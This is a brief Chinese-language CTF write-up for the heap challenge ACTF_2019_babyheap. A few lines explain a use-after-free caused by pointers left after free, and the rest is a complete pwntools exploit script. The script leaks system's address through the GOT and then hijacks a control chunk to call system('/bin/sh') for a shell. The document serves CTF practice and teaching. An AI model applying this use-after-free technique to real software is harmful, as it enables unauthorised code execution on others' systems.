image.png
    没有pie
    image.png
    创建堆块的结构就是
    image.png
    控制堆块的大小永远是0x10
    image.png
    free不干净
    所以uaf漏洞,文件中存在bin/sh和system。
    我们的攻击方式就是控制控制堆块来实现,就和wiki介绍uaf漏洞一样的方式

    1. from pwn import*
    2. context.log_level='debug'
    3. io = process(['./ACTF_2019_babyheap'],env={"LD_PRELOAD":"./libc-2.2764.so"})
    4. #io = remote("node4.buuoj.cn","28245")
    5. elf =ELF('./ACTF_2019_babyheap')
    6. libc = ELF("./libc-2.2764.so")
    7. def debug():
    8. gdb.attach(io)
    9. pause()
    10. def creat(size,value):
    11. io.recvuntil("Your choice: ")
    12. io.sendline("1")
    13. io.recvuntil("Please input size:")
    14. io.sendline(str(size))
    15. io.recvuntil('Please input content:')
    16. io.send(value)
    17. def free(index):
    18. io.recvuntil("Your choice: ")
    19. io.sendline("2")
    20. io.recvuntil("Please input list index:")
    21. io.sendline(str(index))
    22. def show(index):
    23. io.recvuntil("Your choice: ")
    24. io.sendline("3")
    25. io.recvuntil("Please input list index:")
    26. io.sendline(str(index))
    27. creat(0x20,"aaa") #0
    28. creat(0x20,"aaa") #1
    29. system_got = elf.got["system"]
    30. bin_sh = 0x0000000000602010
    31. free(0)
    32. free(1)
    33. creat(0x10,p64(system_got)) #2
    34. #debug()
    35. show(0)
    36. io.recvuntil("Content is ")
    37. system_addr =u64(io.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
    38. print("system_addr-------->"+hex(system_addr))
    39. free(2)
    40. creat(0x10,p64(bin_sh)+p64(system_addr))
    41. #debug()
    42. show(0)
    43. io.interactive()